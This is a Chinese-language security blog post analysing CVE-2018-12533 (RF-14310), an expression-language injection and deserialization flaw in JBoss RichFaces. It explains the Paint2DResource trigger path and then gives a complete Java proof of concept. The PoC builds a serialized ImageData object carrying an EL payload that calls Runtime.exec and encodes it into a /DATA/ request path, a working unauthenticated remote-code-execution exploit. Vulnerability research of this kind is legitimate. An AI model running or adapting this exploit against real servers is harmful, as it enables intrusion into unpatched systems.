Lucifaer's Blog.

RF-14310(CVE-2018-12533)分析

Word count: 1,774 / Reading time: 8 min
2018/12/05 Share

RF-14310,另一个RichFaces的漏洞,利用面要比CVE-14667广。

0x00 漏洞概述

JBoss RichFaces 3.1.0 through 3.3.4 allows unauthenticated remote attackers to inject expression language (EL) expressions and execute arbitrary Java code via a /DATA/ substring in a path with an org.richfaces.renderkit.html.Paint2DResource$ImageData object, aka RF-14310.

根据漏洞描述,可以知道漏洞可以通过org.richfaces.renderkit.html.Paint2DResource$ImageData对象注入EL表达式来完成远程任意代码执行的漏洞。

0x01 整体触发流程

这个漏洞是在CVE-2018-14667之前爆出的,CVE-2018-14667的触发流程和其非常相似所以只谈几个较为重要的点。

总体来说这个洞还是出现在RichFaces资源加载的地方,可以说14667是这个漏洞的另一种利用方式。

当一个资源请求被调用时就会调用org.ajax4jsf.resource.ResourceLifecycle类,而在该类中实现资源发送的方法是send,在send中主要的功能由sendResource方法实现,而在sendResource又存在一个关键性的send方法:

我们看一下send方法的继承类:

在CVE-2018-14667中可以使用UserResourcesend触发点来执行EL表达式,而在RF-14310中是利用Paint2DResource来执行EL表达式的。

0x02 漏洞分析

重复的反序列化那一部分就不再赘述,主要看触发流程。

2.1 反序列化流程

根据0x01中的继承关系,我们直接看漏洞触发点Paint2DResource这个类的send方法:

可以看到这里的ImageData同样来自于restoreData这个方法,而这个方法同样是利用getResourceData来从resourceData映射中获取资源,而setResourceData的过程同样在org.ajax4jsf.resource.InternetResourceService$serviceResource中。

所以反序列化流程是和CVE-2018-14667相同的。

2.2 EL执行点

跟进MethodBindinginvoke方法:

可以看到在MethodBinding调用invoke之前,MethodBinding就已经执行了EL表达式。也就是说可以在ImageData_paint属性中加入我们的EL表达式,下个断点来证明我们的想法:

值得注意的是,在构造poc时,需要使用MethodExpression的对象,这就意味着需要附加一个针对不同Tomcat版本的ssid(serialVersionUID)。

2.3 触发流程

就像0x01中所说的一样,在加载资源类时都会调用,和CVE-2018-14667不同的是,RF-14310利用时并不需要资源对象为缓存类对象,同时对于资源请求的标签没有限制,没有要求InternetResource必须为userResource

所以说可以直接发包调用资源触发漏洞。

0x03 构造POC

和CVE-2018-14667相同的部分就不重复说了,以下就谈一下写这个POC需要注意的几个点。

3.1 suid(serialVersionUID)的限制

suid的主要作用简单来说就是保证序列化对象与反序列化对象的一致性,在richfaces中是调用javax.el.*来实现的,而不是调用lib中的org.jboss.el.*来实现的,所以在写poc时最好利用反射把javax.el.MethodExpression中的serialVersionUID重写一下,保证在面对不同容器版本时设置不同的serialVersionUID

1
2
3
4
5
6
7
8
9
// tomcat8.5.24 MethodExpression serialVersionUID
Long MethodExpressionSerialVersionUID = 8163925562047324656L;
Class clazz = Class.forName("javax.el.MethodExpression");
Field field = clazz.getField("serialVersionUID");
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setLong(null, MethodExpressionSerialVersionUID);

当然也可以手动导入不同版本容器的el-api.jar来实现。

3.2 选择合适的利用链

我根据CVE-2018-14667的poc选择了:

1
2
3
4
5
6
javax.faces.component.StateHolderSaver
com.sun.facelets.el.LegacyMethodBinding
com.sun.facelets.el.TagMethodExpression
com.sun.facelets.tag.TagAttribute
org.jboss.el.MethodExpressionImpl
expr = poc

这个是我觉得最简单的一个利用链了,当然在LegacyMethodBinding可以换成除了ConstantMethodBindingSimpleActionMethodBinding的任意一个。

3.3 利用反射给private static final对象赋值

其实问题的关键点在于如何利用反射去给

1
2
3
4
public class public class Paint2DResource extends InternetResourceBase{
private static final class ImageData implements SerializableResource{
}
}

这样的类型赋值,同时要注意到private static final class ImageData是没有无参,无构造函数的私有类,所以没有办法直接通过getDeclaredClass()直接获取。方法就是首先反射创建Paint2DResource对象:

1
2
Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
Class innerClazz[] = clzz.getDeclaredClasses();

这里的getDeclaredClasses返回Paint2DResource的所有构造器,之后遍历该对象中所有的构造器找到构造器名称中带有private的构造器,然后进行赋值操作:

1
2
3
4
5
6
7
8
9
10
for (Class c : innerClazz){
int mod = c.getModifiers();
String modifier = Modifier.toString(mod);
if (modifier.contains("private")){
Constructor cc = c.getDeclaredConstructor();
cc.setAccessible(true);
Object imageData = cc.newInstance(null);
Field _widthField = imageData.getClass().getDeclaredField("_width");
_widthField.setAccessible(true);
_widthField.set(imageData, 300);

这里需要注意c.getDeclaredConstructor()参数应为空说明获得的是一个无参的构造器,而cc.newInstance(null)参数为null说明实例化的是一个无构造函数的对象。

完整版POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import com.sun.facelets.el.LegacyMethodBinding;
import com.sun.facelets.el.TagMethodExpression;
import com.sun.facelets.tag.TagAttribute;
import com.sun.facelets.tag.Location;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;

import javax.faces.context.FacesContext;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.zip.Deflater;

public class CVE_2018_12533 {
public static void main(String[] args) throws Exception{
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
// 根据文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);

Location location = new Location("", 0, 0);
TagAttribute tagAttribute = new TagAttribute(location, "", "", "", "createContent="+pocEL);

// 1. 设置ImageData
// 构造ImageData_paint
MethodExpressionImpl methodExpression = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, methodExpression);
MethodBinding methodBinding = new LegacyMethodBinding(tagMethodExpression);
Object _paint = ct.newInstance(null, methodBinding);

Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
Class innerClazz[] = clzz.getDeclaredClasses();
for (Class c : innerClazz){
int mod = c.getModifiers();
String modifier = Modifier.toString(mod);
if (modifier.contains("private")){
Constructor cc = c.getDeclaredConstructor();
cc.setAccessible(true);
Object imageData = cc.newInstance(null);

// 设置ImageData_width
Field _widthField = imageData.getClass().getDeclaredField("_width");
_widthField.setAccessible(true);
_widthField.set(imageData, 300);

// 设置ImageData_height
Field _heightField = imageData.getClass().getDeclaredField("_height");
_heightField.setAccessible(true);
_heightField.set(imageData, 120);

// 设置ImageData_data
Field _dataField = imageData.getClass().getDeclaredField("_data");
_dataField.setAccessible(true);
_dataField.set(imageData, null);

// 设置ImageData_format
Field _formatField = imageData.getClass().getDeclaredField("_format");
_formatField.setAccessible(true);
_formatField.set(imageData, 2);

// 设置ImageData_paint
Field _paintField = imageData.getClass().getDeclaredField("_paint");
_paintField.setAccessible(true);
_paintField.set(imageData, _paint);

// 设置ImageData_paint
Field cacheableField = imageData.getClass().getDeclaredField("cacheable");
cacheableField.setAccessible(true);
cacheableField.set(imageData, false);

// 设置ImageData_bgColor
Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");
_bgColorField.setAccessible(true);
_bgColorField.set(imageData, 0);

// 2. 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(imageData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();

// 3. 加密(zip+base64)
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);

// 4. 打印最后的poc
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}
}
}

效果:

-w1279

0x04 Reference

CATALOG
  1. 1. 0x00 漏洞概述
  2. 2. 0x01 整体触发流程
  3. 3. 0x02 漏洞分析
    1. 3.1. 2.1 反序列化流程
    2. 3.2. 2.2 EL执行点
    3. 3.3. 2.3 触发流程
  4. 4. 0x03 构造POC
    1. 4.1. 3.1 suid(serialVersionUID)的限制
    2. 4.2. 3.2 选择合适的利用链
    3. 4.3. 3.3 利用反射给private static final对象赋值
    4. 4.4. 完整版POC
  5. 5. 0x04 Reference